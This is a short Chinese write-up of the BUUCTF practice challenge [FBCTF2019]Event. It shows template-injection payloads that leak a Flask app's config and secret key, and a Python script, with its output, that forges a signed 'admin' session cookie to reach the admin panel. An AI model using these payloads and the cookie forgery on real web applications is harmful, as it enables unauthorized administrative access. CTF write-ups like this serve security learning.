题目地址:https://buuoj.cn/challenges#[FBCTF2019]Event

BUUCTF:[FBCTF2019]Event_Event


BUUCTF:[FBCTF2019]Event_模版_02


BUUCTF:[FBCTF2019]Event_BUUCTF_03


模版注入+Cookie伪造

Cookie:Im1vY2h1Ig.XyDM5A.RIObE23_pwucPR7ZAVNsm_cOwpU 加密方式未知,密钥未知

在提交数据的时候,有三个可控参数,经测试在event_important参数存在模版注入,输入__dict__,发现成功回显

BUUCTF:[FBCTF2019]Event_flask_04


接着查找配置文件:__class__.__init__.__globals__[app].config

BUUCTF:[FBCTF2019]Event_Event_05


发现密钥,开始伪造Cookie

from flask import Flask
from flask.sessions import SecureCookieSessionInterface

app = Flask(__name__)
app.secret_key = b'fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y'

session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)

@app.route('/')
def index():
    print(session_serializer.dumps("admin"))

index()
PS C:\Users\Administrator\Desktop> python .\exp.py
ImFkbWluIg.XyDKIw.wlPGRJ52VIGmXV5buLQ9-h-wt8w

将生成的Cookie替换user中的Cookie然后访问Admin panel

BUUCTF:[FBCTF2019]Event_FBCTF2019_06